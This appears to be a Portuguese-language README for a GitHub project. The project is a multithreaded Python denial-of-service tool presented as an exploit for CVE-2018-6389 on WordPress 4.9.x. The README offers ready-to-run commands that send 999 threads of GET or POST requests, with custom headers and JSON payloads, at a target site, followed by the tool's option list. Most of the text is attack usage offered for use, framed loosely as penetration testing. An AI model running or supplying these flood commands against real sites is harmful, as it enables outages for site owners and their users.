ianxtianxt/cve-2018-6389Exploit de negação de serviço baseado em Python para CVE-2018-6389 direcionado ao WordPress 4.9.x. Suporta requisições GET/POST multithread com cabeçalhos personalizados e payloads JSON para testes de penetração.
Ferramenta DoS para requisições HTTP (inspirada no hulk, mas com mais funcionalidades) escrita em Python:
999 threads enviam requisições GET:
python doser.py -t 999 -g 'https://targeted.site.com'
999 threads enviam requisições POST com dados json:
python doser.py -t 999 -p 'https://targeted.site.com' -ah 'Content-Type: application/json' -d '{"json": "payload"}'
usage: doser.py [-h] [-g G] [-p P] [-d D] [-ah AH] [-t T]
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
-g Especifica requisição GET. Uso: -g '< url >'
-p Especifica requisição POST. Uso: -p '< url >'
-d Especifica o payload de dados para requisição POST
-ah Especifica cabeçalho adicional
-t Especifica o número de threads a serem usadas
Reescrever em Golang :)